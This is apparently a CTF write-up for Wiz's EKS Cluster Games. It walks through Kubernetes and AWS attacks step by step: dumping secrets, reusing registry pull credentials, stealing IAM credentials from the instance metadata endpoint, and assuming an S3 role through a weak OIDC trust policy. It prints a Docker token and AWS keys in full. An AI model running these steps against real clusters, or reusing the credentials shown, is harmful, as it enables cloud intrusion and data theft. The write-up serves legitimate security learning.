Introduction
The EKS Cluster Games, a cloud security Capture The Flag (CTF) focuses on the Kubernetes platform.
The challenge consists of five different scenarios, focusing on an EKS issue. You will play as an attacker to learn and exploit the environment. Here, this is a walkthrough on how to find the flag.
Secret Seeker
Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?
It starts with a shell and we have access to list the secrets.
kubectl get secrets
Get more information about log-rotate secret.
kubectl get secret log-rotate -o yaml
Copy and paste the base64 encoded code and decode it.
echo d2l6X2Vrc19ja... | base64 --decode
Output: wiz_eks_challenge{omg_over_privileged_secret_access}
Registry Hunt
A thing we learned during our research: always check the container registries. For your convenience, the crane utility is already pre-installed on the machine.
{
"secrets": [
"get"
],
"pods": [
"list",
"get"
]
}
we are eligible to use K8 resources only for pods and secrets. Try to list the namespace to confirm.
kubectl get ns
As expected, namespace listing is forbidden.
Error from server (Forbidden): namespaces is forbidden: User
"system:serviceaccount:challenge2:service-account-challenge2" cannot list
resource "namespaces" in API group "" at the cluster scope
Get more information about the pod.
kubectl get pods
kubectl describe pod database-pod-2c9b3a4e
kubectl get pod database-pod-2c9b3a4e -o yaml
You found out the image registry.
image: eksclustergames/base_ext_image
imagePullSecrets: registry-pull-secrets-780bab1d
Pull the image using a crane. crane is a tool for interacting with remote images and registries.
crane pull eksclustergames/base_ext_image
We know that we have private images and need to get some credentials to an account that has access to private images. Usually, you have to define a secret for kubernetes to be able to pull from private registries. We are still not able to get permission. Since we have the image pull secret. Get more information about registry-pull-secrets.
kubectl get secrets registry-pull-secrets-780bab1d -o yaml
Decode the base64 message.
echo eyJhdXR... | base64 --decode
Response after decoding base64 message.
{
"auths":
{
"index.docker.io/v1/":
{
"auth": "ZWtzY2x1c3Rlc..."
}
}
}
We got another decoded message. Let’s decode again.
echo ZWtzY2x1c... | base64 --decode
Output: eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
Let’s try to authenticate with a crane and get more information about the private image.
crane auth login --help
crane auth login -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo docker.io
Get some enumeration to download the image registry.
Image Inquisition
A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.
Remember: You are running inside a compromised EKS pod. For your convenience, the crane utility is already pre-installed on the machine.
Permission
{
"pods": [
"list",
"get"
]
}
Let’s list out the pod and get more information.
kubectl get pod
kubectl get pod accounting-pod-876647f8 -o yaml
We can see the image container hosted on AWS ECR. Let’s pull the image using crane.
crane pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo...
We are unauthorized at this time. We are running pods at EKS, we can steal the metadata credentials.
curl http://169.254.169.254/latest/meta-data/iam/...
Next, we set the environment variables for aws credentials.
export AWS_ACCESS_KEY_ID= xxxx
export AWS_SECRET_ACCESS_KEY = xxxx
export AWS_SESSION_TOKEN = xxxx
You can also use aws configure
to set aws credentials.
Let’s retrieve information about the AWS Identity and Access Management (IAM) user or role associated with the credentials.
aws sts get-caller-identity
Get an ECR token as it has some permission to pull the ECR image referenced in the pod.
export PASSWORD=$(aws ecr get-login-password)
crane auth login -u AWS -p PASSWORD 688655246681.dkr.ecr.us-west-1.amazonaws.com
Retrieve the flag from the configuration file again.
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo... | jq
Flag: wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}
Pod Break
You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?
Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions
List the pod available in the EKS node.
kubectl get pod
We can’t get access and its forbidden. Do we have any access ?
kubectl auth can-i --list
We have the least privileged access. Let’s get more detail on our aws and other credentials.
root@wiz-eks-challenge:~# ls
root@wiz-eks-challenge:~# ls -la
total 20
drwxr-xr-x 5 root root 114 Dec 29 01:39 .
drwxr-xr-x 3 root root 18 Oct 31 16:26 ..
drwxr-xr-x 2 root root 39 Dec 29 01:39 .aws
-rw------- 1 root root 7759 Dec 29 01:50 .bash_history
-rw-r--r-- 1 root root 3771 Dec 29 00:45 .bashrc
drwx------ 2 root root 25 Dec 29 01:43 .docker
drwxr-xr-x 3 root root 51 Dec 29 01:50 .kube
-rw------- 1 root root 20 Dec 29 01:39 .lesshst
-rw------- 1 root root 1076 Dec 29 01:39 .viminfo
Let’s retrieve information about the AWS Identity and Access Management (IAM) user or role associated with the credentials.
root@wiz-eks-challenge:~# aws sts get-caller-identity
{
"UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-node..."
}
From the ARN, we got the cluster name, eks-challenge-cluster.
We don’t have permission to run both describe and list the cluster.
aws eks describe-cluster --name eks-challenge-cluster
We are able to retrieve a token using get-token.
aws eks get-token --cluster-name eks-challenge-cluster
{
"kind": "ExecCredential",
"apiVersion": "client.authentication.k8s.io/v1beta1",
"spec": {},
"status": {
"expirationTimestamp": "2023-12-29T02:15:59Z",
"token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMt..."
}
}
Using token you can operate managed k8 resources without kubeconfig. Find the token.
aws eks get-token --cluster-name eks-challenge-cluster \
&& jq '.status.token'
Set the TOKEN variable to use in kubectl command.
export TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster \
&& jq '.status.token' -r)
List the access of K8 resources.
kubectl --token "$TOKEN" auth can-i --list
We are able to retrieve the flag from the secrets.
kubectl --token "$TOKEN" get secret -o json
Decode the base64 message.
kubectl --token "$TOKEN" get secret -o json \
&& jq -r '.items[0].data.flag' | base64 --decode
Container Secrets Infrastructure
You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?
{
"Policy": {
"Statement": [
{
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
]
}
],
"Version": "2012-10-17"
}
}
Trust policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc..."
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-west-1.amazonaws.com/C0...": "sts.amazonaws.com"
}
}
}
]
}
{
"secrets": [
"get",
"list"
],
"serviceaccounts": [
"get",
"list"
],
"pods": [
"get",
"list"
],
"serviceaccounts/token": [
"create"
]
}
See the k8 user permission scope.
kubectl auth can-i --list
We can see the user has permission on pods, secrets, and service accounts. Let’s enumerate and figure out more.
kubectl get sa
We have two service accounts, namely debug-sa, and s3access-sa. Let’s create the service account token for each and check the privilege.
kubectl get sa s3access-sa -o yaml
We find the role ARN of the role by looking at the annotations. Let’s create for s3access-sa.
kubectl create token s3access-sa
We don’t have permission to create here. Before creating a token for another service account, observe the IAM Trust Policy. It’s missing the sub claim of the k8 token. Due to this lack, we can actually assume the role with any service account.
export TOKEN=$(kubectl create token debug-sa)
kubectl --token $TOKEN auth can-i --list
Let’s try to use $TOKEN from debug-sa to assume the role.
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name test --web-identity-token $TOKEN
The default audience for a token created with kubectl is https://kubernetes.default.svc. Here with policy, it doesn’t seem working. Copy and paste the token to jwt.io for decoding. Let’s try creating it again with sts.amazonaws.com.
export TOKEN=$(kubectl create token debug-sa --audience sts.amazonaws.com)
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role
--role-session-name test --web-identity-token $TOKEN
Respond.
{
"Credentials": {
"AccessKeyId": "ASIA2AVYNEVMZ34IIW4E",
"SecretAccessKey": "n7rMT/THcmtgNiXrP7mWD4hDOI5rv40xRN2vQeiX",
"SessionToken": "IQoJb3J...",
"Expiration": "2023-12-29T06:54:52+00:00"
},
"SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
"AssumedRoleUser": {
"AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:test",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test"
},
"Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
"Audience": "sts.amazonaws.com"
}
We have finally gotten AWS Credentials. Let’s configure aws credentials.
export AWS_ACCESS_KEY_ID=xxxx...
export AWS_SECRET_ACCESS_KEY=xxxx...
export AWS_SESSION_TOKEN=xxxx...
aws sts get-caller-identity
We got the new role and we have the bucket. Let’s fetch arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag.
aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag -
flag: wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}
Conclusion
This CTF was quite challenging. kudos to Wiz team for this challenge.
You can also try Kubernetes for Everyone, A friendly learning CTF that I had made. I have also written the writeup for this too.
If you found this article helpful, keep sharing.